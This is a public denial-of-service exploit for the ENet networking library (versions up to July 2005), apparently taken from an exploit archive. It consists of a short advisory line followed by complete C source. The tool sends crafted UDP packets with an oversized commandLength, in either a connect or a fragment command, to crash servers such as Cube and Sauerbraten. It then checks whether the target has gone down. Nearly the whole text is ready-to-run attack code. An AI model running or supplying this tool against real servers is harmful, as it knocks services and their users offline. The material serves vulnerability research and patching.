ENet - Multiple Denial of Service Vulnerabilities

// source: https://www.securityfocus.com/bid/17087/info

ENet is prone to multiple denial-of-service vulnerabilities. A remote attacker can send specifically crafted data to trigger these flaws, leading to a denial-of-service condition.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "enet_protocol.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
    #define MYRAND  clock()
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/times.h>

    #define ONESEC  1
    #define MYRAND  times(0)
    #define strnicmp    strncasecmp
#endif



#define VER     "0.1"



u_int get_num(u_char *str);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;
u_int   commandLength = 0xffff0000;



int main(int argc, char *argv[]) {
    ENetProtocolHeader  *header;
    ENetProtocol        *command;
    u_int   chall,
            stime;
    int     sd,
            len,
            attack;
    u_char  buff[8192];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "ENet library <= Jul 2005 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> <port> [commandLength(0x%08x)]\n"
            "\n"
            "Attack:\n"
            " 1 = invalid memory access\n"
            " 2 = allocation abort with fragment\n"
            "\n"
            "  Default port examples: Cube on 28765, Sauerbraten on 28785\n"
            "  commandLength is the big value to use for both the attacks, read my advisory\n"
            "\n", argv[0], commandLength);
        exit(1);
    }

    header  = (ENetProtocolHeader *)buff;
    command = (ENetProtocol *)(buff + sizeof(ENetProtocolHeader));

    attack = atoi(argv[1]);
    if(argc > 4) commandLength = get_num(argv[4]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(atoi(argv[3]));
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr),
        ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    stime = MYRAND;
    chall = ~stime;

    if(attack == 1) {
        printf("- send malformed packet\n");

        header->peerID                              = htons(0xffff);
        header->flags                               = 0;
        header->commandCount                        = 1 + (MYRAND % 255);       //  major than 1
        header->sentTime                            = stime;
        header->challenge                           = chall;
        command->header.command                     = ENET_PROTOCOL_COMMAND_CONNECT;
        command->header.channelID                   = 0xff;
        command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(commandLength);     // BOOM
        command->header.reliableSequenceNumber      = htonl(1);
        command->connect.outgoingPeerID             = htons(0);
        command->connect.mtu                        = htons(1400);
        command->connect.windowSize                 = htonl(32768);
        command->connect.channelCount               = htonl(ENET_PROTOCOL_MINIMUM_CHANNEL_COUNT);
        command->connect.incomingBandwidth          = htonl(0);
        command->connect.outgoingBandwidth          = htonl(0);
        command->connect.packetThrottleInterval     = htonl(5000);
        command->connect.packetThrottleAcceleration = htonl(2);
        command->connect.packetThrottleDeceleration = htonl(2);

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + sizeof(ENetProtocolConnect),
            buff, sizeof(buff), 0);
        if(len < 0) {
            printf("- no reply from the server, it should be already crashed\n");
        }

    } else if(attack == 2) {

        printf("- start connection to host\n");

        printf("  send connect\n");
        header->peerID                              = htons(0xffff);
        header->flags                               = 0;
        header->commandCount                        = 1;
        header->sentTime                            = stime;
        header->challenge                           = chall;
        command->header.command                     = ENET_PROTOCOL_COMMAND_CONNECT;
        command->header.channelID                   = 0xff;
        command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(sizeof(ENetProtocolConnect));
        command->header.reliableSequenceNumber      = htonl(1);
        command->connect.outgoingPeerID             = htons(0);
        command->connect.mtu                        = htons(1400);
        command->connect.windowSize                 = htonl(32768);
        command->connect.channelCount               = htonl(2);
        command->connect.incomingBandwidth          = htonl(0);
        command->connect.outgoingBandwidth          = htonl(0);
        command->connect.packetThrottleInterval     = htonl(5000);
        command->connect.packetThrottleAcceleration = htonl(2);
        command->connect.packetThrottleDeceleration = htonl(2);

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
            buff, sizeof(buff), 1);

        printf("  send ack\n");
/* SRV  header->peerID                              */
        header->flags                               = 0;
        header->commandCount                        = 1;
        stime = ntohl(header->sentTime);                                        // useless???
        header->sentTime                            = htonl(stime + 1);
/* SRV  header->challenge                           */
        command->header.command                     = ENET_PROTOCOL_COMMAND_ACKNOWLEDGE;
/* SRV  command->header.channelID                   */
        command->header.flags                       = 0;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(sizeof(ENetProtocolAcknowledge));
        command->header.reliableSequenceNumber      = htonl(1);
/* SRV  command->acknowledge.receivedReliableSequenceNumber */
        command->acknowledge.receivedSentTime       = htonl(stime);

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
            buff, sizeof(buff), 1);

        printf("  send malformed fragment\n");
        len = 10 + (MYRAND % 1000);
/* SRV  header->peerID                              */
        header->flags                               = 0;
        header->commandCount                        = 1;
        header->sentTime                            = htonl(ntohl(header->sentTime) + 1);
/* SRV  header->challenge                           */
        command->header.command                     = ENET_PROTOCOL_COMMAND_SEND_FRAGMENT;
        command->header.channelID                   = 0;
        command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
        command->header.reserved                    = 0;
        command->header.commandLength               = htonl(sizeof(ENetProtocolSendFragment) + len);
        command->header.reliableSequenceNumber      = htonl(1);
        command->sendFragment.startSequenceNumber   = htonl(1);
        command->sendFragment.fragmentCount         = htonl(2 + (MYRAND % 2000));
        command->sendFragment.fragmentNumber        = htonl(0);
        command->sendFragment.totalLength           = htonl(commandLength);
        command->sendFragment.fragmentOffset        = htonl(0);
        memset(command + sizeof(ENetProtocolSendFragment), len, len);   // first len is for random

        len = send_recv(sd,
            buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
            buff, sizeof(buff), 0);
        if(len < 0) {
            printf("- no reply from the server, it should be already crashed\n");
        }
    }

    close(sd);

    printf("- check server:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    stime = MYRAND;
    chall = ~stime;

    header->peerID                              = htons(0xffff);
    header->flags                               = 0;
    header->commandCount                        = 1;
    header->sentTime                            = stime;
    header->challenge                           = chall;
    command->header.command                     = ENET_PROTOCOL_COMMAND_CONNECT;
    command->header.channelID                   = 0xff;
    command->header.flags                       = ENET_PROTOCOL_FLAG_ACKNOWLEDGE;
    command->header.reserved                    = 0;
    command->header.commandLength               = htonl(sizeof(ENetProtocolConnect));
    command->header.reliableSequenceNumber      = htonl(1);
    command->connect.outgoingPeerID             = htons(0);
    command->connect.mtu                        = htons(1400);
    command->connect.windowSize                 = htonl(32768);
    command->connect.channelCount               = htonl(ENET_PROTOCOL_MINIMUM_CHANNEL_COUNT);
    command->connect.incomingBandwidth          = htonl(0);
    command->connect.outgoingBandwidth          = htonl(0);
    command->connect.packetThrottleInterval     = htonl(5000);
    command->connect.packetThrottleAcceleration = htonl(2);
    command->connect.packetThrottleDeceleration = htonl(2);

    len = send_recv(sd,
        buff, sizeof(ENetProtocolCommandHeader) + ntohl(command->header.commandLength),
        buff, sizeof(buff), 0);
    if(len < 0) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server does not seem vulnerable\n\n");
    }
    close(sd);
    return(0);
}



u_int get_num(u_char *str) {
    u_int   offset;

    if(!strnicmp(str, "0x", 2)) {
        sscanf(str + 2, "%x", &offset);
    } else {
        sscanf(str, "%u", &offset);
    }
    return(offset);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;

    for(retry = 3; retry; retry--) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        if(!timeout(sd)) break;
    }

    if(!retry) {
        if(!err) return(-1);
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = 2;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif